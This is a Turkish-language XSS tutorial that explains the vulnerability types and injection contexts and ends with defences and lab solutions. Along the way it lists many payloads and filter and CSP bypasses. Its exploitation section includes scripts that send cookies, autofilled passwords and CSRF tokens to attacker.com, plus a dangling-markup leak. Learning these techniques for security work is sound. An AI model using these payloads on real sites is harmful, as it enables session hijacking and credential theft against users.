Cross-Site Scripting (XSS), bir saldırganın hedef web uygulamasına kötü niyetli JavaScript kodu enjekte etmesine ve bu kodun diğer kullanıcıların tarayıcılarında çalıştırılmasına olanak tanıyan bir web güvenlik zafiyetidir. XSS, günümüzde en yaygın görülen web güvenlik açıklarından biridir ve ciddi güvenlik risklerine yol açabilir. XSS'in Temel Prensibi: XSS saldırıları, bir web uygulamasının kullanıcı girdisini yeterince doğrulamadan veya kodlamadan (encode etmeden) doğrudan HTML/JavaScript içeriğine dahil etmesi durumunda ortaya çıkar.
XSS zafiyeti, Same Origin Policy'yi bypass etmenize olanak tanır. XSS sayesinde, saldırgan kurbanın oturumunu ele geçirebilir ve kurbanın yapabileceği her işlemi gerçekleştirebilir.
XSS Nasıl Çalışır?
XSS saldırısı, zafiyet içeren bir web sitesinin manipüle edilerek kullanıcılara kötü niyetli JavaScript kodu göndermesi prensibi üzerine çalışır.
Tipik bir XSS Senaryosu:
- 1. Kullanıcı bir arama kutusuna metin girer
- • 2. Uygulama bu girdiyi doğrudan sayfaya yazar
- • 3. Saldırgan özel bir payload girer
- • 4. Tarayıcı bu kodu çalıştırır
- • 5. Saldırgan daha tehlikeli payload'lar kullanarak veri çalabilir
Basit XSS Örneği:
Zafiyet içeren kod:
<p>Arama sonuçları: <?php echo $_GET['search']; ?></p>
Saldırı URL'i:
https://site.com/search?search=<script>alert(document.cookie)</script>
Sonuç - kullanıcının cookie'leri gösterilir!XSS Saldırılarının Etkisi
Bir saldırgan XSS zafiyetini başarıyla exploit edebilirse, kurban kullanıcı üzerinde tam kontrol sahibi olabilir.
Potansiyel etkiler:
Kimlik Hırsızlığı: Saldırgan kurbanın kimliğine bürünerek işlem yapabilir. Session Hijacking: Session cookie'leri çalınarak kullanıcının oturumu ele geçirilebilir.
Veri Hırsızlığı: Kurbanın görebildiği tüm hassas bilgiler çalınabilir. Credential Harvesting: Sahte login formları ile kullanıcı bilgileri toplanabilir.
Keylogger: Klavye girdilerini kaydeden scriptler enjekte edilebilir. Phishing: Güvenilir bir site üzerinden phishing yapılabilir. CSRF Bypass: CSRF token'ları çalınarak koruma atlatılabilir.
DİKKAT: Uygulamanın kritikliği ve kullanıcının yetkileri, saldırının etkisini belirler. Admin kullanıcısına yapılan XSS saldırısı, tüm sistemin ele geçirilmesine yol açabilir.
XSS Türleri
XSS saldırıları, payload'un nasıl ve nereden geldiğine göre üç ana kategoriye ayrılır:
4.1. Reflected XSS
Reflected XSS, kötü niyetli scriptin mevcut HTTP request'ten geldiği XSS türüdür. Payload URL'de, form parametrelerinde veya başka bir HTTP request içeriğinde taşınır
Nasıl Çalışır:
1. Normal kullanım:
URL: https://example.com/search?term=hediye
Sonuç: <p>Arama yaptınız: hediye</p>
2. Saldırı:
URL: https://example.com/search?term=<script>alert('XSS')</script>
Sonuç: <p>Arama yaptınız: <script>alert('XSS')</script></p>
3. Kurban bu URL'i tıkladığında script çalışır!Reflected XSS Özellikleri:
- Payload URL veya POST parametresinde taşınır
- • Saldırgan kurbanı özel link'e tıklamaya ikna etmelidir
- • Saldırı her request'te tekrarlanmalıdır (persistent değildir)
- • Phishing ile birleştirilerek etkisi artırılabilir
Gerçek Örnek:
# Zafiyet içeren PHP kodu
<?php echo "Merhaba " . $_GET['name']; ?>
# Saldırı URL'i
?name=<img src=x onerror=alert(document.cookie)>
# Cookie'leri çalan script çalışır!Stored XSS
Stored XSS (persistent XSS olarak da bilinir), kötü niyetli scriptin uygulamanın veritabanında saklandığı ve daha sonra diğer kullanıcılara gösterildiği XSS türüdür. Bu, en tehlikeli XSS türüdür
Nasıl Çalışır:
1. Normal yorum:
comment=Harika bir yazı!
2. Kötü niyetli yorum:
comment=<script>fetch('http://attacker.com?c='+document.cookie)</script>
3. Bu yorum veritabanına kaydedilir!
4. Yorumu gören HER kullanıcı etkilenir!⚠️ KRİTİK: Stored XSS, Reflected XSS'e göre çok daha tehlikelidir çünkü:
- Saldırgan kurbanı linke tıklamaya ikna etmek zorunda değildir
- • Payload persistent'tır — veritabanından temizlenene kadar aktif kalır
- • Tüm kullanıcılar otomatik olarak etkilenir
- • Daha geniş kullanıcı kitlesini etkiler (mass exploitation
Stored XSS Senaryoları:
- Blog comment'leri — En yaygın stored XSS noktası
- Forum message'ları — Kullanıcı mesajlarında
• User profile'lar — İsim, bio, location gibi alanlarda
• Chat uygulamaları — Messaging sistemlerinde
• Webmail sistemleri — E-posta uygulamalarında
- Support ticket sistemleri — Destek mesajlarında
DOM-based XSS
DOM-based XSS, zafiyetin server-side'da değil, tamamen client-side JavaScript kodunda olduğu XSS türüdür. Kötü niyetli veri bir source'tan alınır ve güvensiz bir şekilde bir sink'e yazılır
Source ve Sink Kavramları:
Source: Saldırgan tarafından kontrol edilebilen veri kaynakları
• window.location, location.href, location.search, location.hash
• document.URL, document.referrer, document.cookie
• localStorage, sessionStorage
Sink: Tehlikeli operasyonları gerçekleştiren fonksiyonlar
• eval() — Kod çalıştırır
• innerHTML, outerHTML — HTML render eder
• document.write(), document.writeln()
• setTimeout(), setInterval() (string parametreli)
- location.href — JavaScript URL'leri çalıştırabilir
DOM XSS Örneği:
# Zafiyet içeren kod
var search = document.getElementById('search').value;
results.innerHTML = 'Arama: ' + search;
# Kullanıcı girişi:
<img src=x onerror=alert('XSS')>
# Sonuç: innerHTML bu kodu render eder ve XSS tetiklenir!ÖNEMLİ: DOM XSS, server-side güvenlik kontrollerini bypass eder çünkü payload sunucuya gitmez, tamamen browser'da işlenir
XSS Context'leri
XSS zafiyetini exploit etmek için, payload'un hangi context'te render edildiğini anlamak kritik önem taşır. Farklı context'ler, farklı escape ve bypass teknikleri gerektirir.
HTML Context'te XSS
Girdiniz HTML tag'leri arasında render ediliyorsa, yeni HTML tag'leri ekleyerek JavaScript çalıştırabilirsiniz:
Temel Payload'lar:
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>HTML Attribute Context'te XSS
Girdiniz bir HTML attribute değeri içinde render ediliyorsa, önce attribute'den çıkmanız gerekir:
Attribute'den Çıkma:
# Zafiyet:
<input type="text" value="USER_INPUT">
# Payload:
"><script>alert(1)</script>
# Sonuç:
<input type="text" value=""><script>alert(1)</script>">Angle Bracket'ler Engellenirse:
# Payload:
" autofocus onfocus=alert(1) x="
# Sonuç:
<input type="text" value="" autofocus onfocus=alert(1) x="">JavaScript Pseudo-Protocol:
# href attribute:
<a href="USER_INPUT">Tıkla</a>
# Payload:
javascript:alert(1)
# Link tıklandığında XSS tetiklenirJavaScript Context'te XSS
Girdiniz JavaScript kodu içinde render ediliyorsa:
Script Tag Kapatma:
# Payload:
</script><img src=x onerror=alert(1)>
# Script tag kapandı, yeni HTML enjekte edildi!String'den Çıkma:
# Zafiyet:
var input = 'USER_INPUT';
# Payload:
'-alert(1)-'
# Veya:
';alert(1)//Backslash Escape Bypass:
# Uygulama tek tırnakları escape ediyorsa:
Input: ';alert(1)//
Sonuç: var input = '';alert(1)//'; # Çalışmaz!
# Çözüm - backslash'i escape et:
Input: \';alert(1)//
Sonuç: var input = '\';alert(1)//'; # Çalışır!Template Literal Context'te XSS
ES6 template literal'ları kullanılıyorsa, ${} syntax'ı ile doğrudan JavaScript expression'ları çalıştırabilirsiniz:
# Zafiyet:
var message = `Hoşgeldin, ${USER_INPUT}`;
# Payload (string kapatmaya gerek yok!):
${alert(1)}
# Template literal içinde expression çalıştırıldı!XSS Payload'ları ve Attack Vector'leri
Farklı durumlarda kullanabileceğiniz XSS payload'ları ve bypass teknikleri:
Event Handler Tabanlı Payload'lar:
<!-- User interaction gerektirmeyenler -->
<body onload=alert(1)>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>
<!-- User interaction gerektir enler -->
<button onclick=alert(1)>Tıkla</button>
<a href="x" onmouseover=alert(1)>Hover</a>Filter Bypass Teknikleri:
<!-- Case manipulation -->
<sCrIpT>alert(1)</sCrIpT>
<!-- HTML entities -->
<img src=x onerror="alert(1)">
<!-- Null bytes -->
<scri%00pt>alert(1)</scri%00pt>
<!-- Comment-based -->
<img src=x one<!---->rror=alert(1)>Alternatif Tag'ler:
<!-- script engellenirse -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<embed src="javascript:alert(1)">
<details open ontoggle=alert(1)>XSS Zafiyetlerini Test Etme
XSS zafiyetlerini bulmak için sistematik bir yaklaşım gerekir:
Entry Point'leri Belirleme:
- URL parametreleri (GET)
- • Form fields (POST)
- • HTTP header'lar
- • Cookie değerleri
- • File upload filename'leri
- • JSON/XML API endpoint'leri
Unique Value Testi:
Her entry point için unique bir değer gönderin ve nerede reflect ettiğini bulun:
# Unique identifier kullan:
test123xyz789
# Bu değeri tüm entry point'lere gönder
# Burp Suite'in Grep özelliğini kullan
# Değerin nerede göründüğünü kontrol etContext Analizi:
HTML tag'leri arasında: test123
- HTML attribute içinde:
• JavaScript string içinde: var x = 'test123'
• URL içinde: href="test123"
4. Payload Testi:
# HTML context için:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
# Attribute context için:
"><script>alert(1)</script>
" onload=alert(1) x="
# JavaScript context için:
'-alert(1)-'
';alert(1)/TİP: Burp Suite Intruder kullanarak otomatik payload fuzzing yapabilirsiniz. XSS cheat sheet'lerinden hazır payload listelerini import edin.
XSS Exploitation Teknikleri
XSS zafiyetini bulduktan sonra, gerçek dünya saldırıları için exploitation teknikleri kullanabilirsiniz:
Cookie Stealing (Session Hijacking)
En klasik XSS saldırısı, kurbanın session cookie'lerini çalmaktır:
Basit Cookie Stealing:
# Payload:
<script>
document.location='http://attacker.com/steal?c='+document.cookie;
</script>
# Veya daha gizli:
<script>
new Image().src='http://attacker.com/log?c='+document.cookie;
</script>Cookie stealing her zaman işe yaramaz:
- HttpOnly flag set ise, JavaScript cookie'ye erişemez
- • Session IP'ye bound ise, farklı IP'den kullanılamaz
- • Session kısa sürede expire olabilir
Password Harvesting
Modern browser'lar ve password manager'lar, form field'ları auto-fill eder. Bu özelliği kötüye kullanarak password'leri çalabilirsiniz:
Auto-fill Exploitation:
<script>
// Hidden login form oluştur
var form = document.createElement('form');
form.style.display = 'none';
var username = document.createElement('input');
username.type = 'text';
username.name = 'username';
var password = document.createElement('input');
password.type = 'password';
password.name = 'password';
form.appendChild(username);
form.appendChild(password);
document.body.appendChild(form);
// Password manager auto-fill edecek
setTimeout(function() {
// Değerleri çal ve gönder
fetch('http://attacker.com/harvest', {
method: 'POST',
body: JSON.stringify({
username: username.value,
password: password.value
})
});
}, 1000);
</script>CSRF Bypass
Birçok site CSRF saldırılarına karşı token kullanır. XSS ile bu token'ları çalıp CSRF korumasını bypass edebilirsiniz:
CSRF Token Stealing:
<script>
// 1. CSRF token içeren sayfayı fetch et
fetch('/account/settings')
.then(response => response.text())
.then(html => {
// 2. HTML'den token'ı parse et
var parser = new DOMParser();
var doc = parser.parseFromString(html, 'text/html');
var token = doc.querySelector('input[name="csrf_token"]').value;
// 3. Token ile sensitive operation gerçekleştir
return fetch('/account/change-email', {
method: 'POST',
body: 'csrf_token=' + token + '&email=attacker@evil.com'
});
});
</script>XSS + CSRF bypass kombinasyonu çok güçlüdür çünkü token'a erişebilir, two-way communication kurabilir ve authenticated context'te çalışırsınız
DOM XSS — Source ve Sink
DOM XSS'i anlamak için data flow'u bilmek gerekir: Source → Code → Sink
Yaygın Source'lar:
• window.location, location.href, location.search, location.hash
• document.URL, document.referrer, document.cookie
• localStorage, sessionStorage
Tehlikeli Sink'ler:
• eval(), Function() — Doğrudan kod çalıştırır
• setTimeout(string), setInterval(string) — String'i kod olarak çalıştırır
• innerHTML, outerHTML — HTML render eder
• document.write() — HTML yazar ve render eder
• location.href — javascript: protocol çalışır
DOM XSS Örneği:
# Zafiyet:
var search = location.search.substring(1);
document.getElementById('results').innerHTML = 'Arama: ' + search;
# Saldırı URL:
https://site.com/search?<img src=x onerror=alert(1)>
# innerHTML sink'i HTML render eder, XSS tetiklenir!. jQuery ve AngularJS'de XSS
Query XSS
# jQuery Selector Sink (old versions):
$(location.hash) # Tehlikeli!
# Saldırı:
https://site.com/page#<img src=x onerror=alert(1)>
# jQuery .html() Function:
$('#message').html(userInput); # Tehlikeli!
$('#message').text(userInput); # GüvenliAngularJS XSS
<!-- AngularJS Template Injection -->
<div ng-app>
<p>{{USER_INPUT}}</p>
</div>
<!-- Payload: -->
{{constructor.constructor('alert(1)')()}}
<!-- Veya: -->
{{$on.constructor('alert(1)')()}}Content Security Policy (CSP)
Content Security Policy, XSS saldırılarını azaltmak için tasarlanmış bir browser security mekanizmasıdır:
# Güvenli CSP Örneği:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-RANDOM_VALUE';
object-src 'none';
base-uri 'self';
# Nonce kullanımı (her request'te farklı):
<script nonce="abc123">
// Güvenli script
</script>
# Inline script'ler engellenir:
<script>alert(1)</script> # Çalışmaz!CSP Bypass Teknikleri:
# 1. JSONP Endpoint:
<script src="https://trusted.com/api?callback=alert"></script>
# 2. AngularJS CDN:
<script src="https://ajax.googleapis.com/.../angular.min.js"></script>
<div ng-app>{{constructor.constructor('alert(1)')()}}</div>
# 3. Base-URI Bypass:
<base href="https://attacker.com/">
<script src="/malicious.js"></script>Dangling Markup Injection
Dangling Markup, tam bir XSS mümkün olmadığında sensitive data çalmak için kullanılan bir tekniktir:
# Zafiyet:
<input type="text" value="USER_INPUT">
# Dangling markup payload:
"><img src='https://attacker.com/log?
# Sonuç:
<input value=""><img src='https://attacker.com/log?">
# img src attribute asla kapanmadı!
# Browser sonraki single quote'a kadar her şeyi URL'e ekler:
<input type="hidden" name="csrf" value="abc123xyz">
# CSRF token çalındı!XSS'den Korunma Yöntemleri
XSS saldırılarından korunmak için multi-layered bir defense stratejisi gerekir:
Output Encoding
En önemli defense: User data'yı sayfaya yazmadan önce uygun şekilde encode edin!
HTML Context için:
# Special character'leri HTML entity'lere çevir:
< → <
> → >
" → "
' → '
& → &
# PHP:
<?php echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); ?>
# Python:
import html
output = html.escape(user_input)
# JavaScript:
function htmlEncode(str) {
return String(str).replace(/[&<>"']/g, function(char) {
return {'&':'&', '<':'<', '>':'>',
'"':'"', "'":"'"}[char];
});
}Input Validation
Whitelist Approach (Recommended):
# Allow edilen character'leri belirle:
if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
die('Invalid username');
}
# Email validation:
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
die('Invalid email');
}
# URL protocol check:
$allowed = ['http', 'https'];
if (!in_array($url_parts['scheme'], $allowed)) {
die('Invalid URL');
}CSP Implementation
# Secure CSP:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-RANDOM';
style-src 'self' 'nonce-RANDOM';
object-src 'none';
base-uri 'self';HttpOnly Cookies
# PHP:
setcookie('session_id', $value, [
'secure' => true, # HTTPS only
'httponly' => true, # JavaScript erişemez
'samesite' => 'Strict' # CSRF protection
]);Best Practice'ler:
Tüm user input'ları untrusted kabul edin
✓ Output encoding'i context'e göre uygulayın
✓ Whitelist validation kullanın, blacklist değil
✓ Modern framework'lerin security feature'larını kullanın
✓ CSP header'ları implement edin
✓ HttpOnly, Secure, SameSite cookie flag'leri set edin
✓ innerHTML, eval(), document.write() kullanmaktan kaçının
✓ DOMPurify gibi trusted sanitizer kullanın
✓ Regular security audit yapın
Pratik Lab Örnekleri ve Çözümleri
Lab 1: Reflected XSS — HTML Context
# Scenario: E-ticaret arama function'u
# Solution:
1. Search: <script>alert(1)</script>
2. URL: ?search=<script>alert(1)</script>
3. Alert trigger!Lab 2: Stored XSS — Comment
# Scenario: Blog comment system
# Solution:
1. Comment: <img src=x onerror=alert(1)>
2. Post
3. Her visitor alert görür!Lab 3: DOM XSS — document.write
# Zafiyet:
document.write('<img src="...?search=' + query + '">');
# Payload:
?query="><script>alert(1)</script>
# img tag closed, script executed!
Lab 4: Attribute Context
# Zafiyet:
<input value="USER_INPUT">
# Payload (< ve > encoded):
" autofocus onfocus=alert(1) x="
# Alert auto-trigger!Lab 5: AngularJS Sandbox Bypass
# Payload:
{{constructor.constructor('alert(1)')()}}
# Or:
{{$on.constructor('alert(1)')()}}Sonuç ve Öneriler
Cross-Site Scripting, web application'larda en yaygın ve en tehlikeli security
vulnerability'lerinden biridir. Bu dokümanda öğrendiklerinizi özetleyelim:
Öğrendiklerimiz:
1. XSS'in ne olduğunu ve nasıl çalıştığını
2. XSS'in üç ana türünü: Reflected, Stored, DOM-based
3. Farklı context'lerde XSS payload'ları hazırlamayı
4. Exploitation technique'lerini (cookie stealing, CSRF bypass)
5. DOM XSS source ve sink kavramlarını
6. jQuery ve AngularJS vulnerability'lerini
7. CSP ve bypass technique'lerini
8. Dangling markup injection
9. XSS'den korunma method'larını
10. Real-world lab örneklerini
Next Step'ler:
1. Practice: PortSwigger Web Security Academy lab'larını çözün
2. CTF: HackTheBox, TryHackMe platform'larında challenge'lar çözün
3. Bug Bounty: HackerOne, Bugcrowd'da real application'larda XSS arayın
4. Tool'lar: Burp Suite, OWASP ZAP kullanmayı öğrenin
5. Blog: Öğrendiklerinizi paylaşın
6. Stay Updated: OWASP Top 10, PortSwigger Research follow edin
7. Certificate: BSCP gibi certification'lar alın
8. Stay Ethical: Permission almadan test yapmayın
Recommended Resource'lar:
• Web Security Academy: https://portswigger.net/web-security
• OWASP XSS Guide: https://owasp.org/www-community/attacks/xss/
• HackerOne: https://hackerone.com/hacktivity
• PayloadsAllTheThings: https://github.com/swisskyrepo
• PentesterLab: https://pentesterlab.com/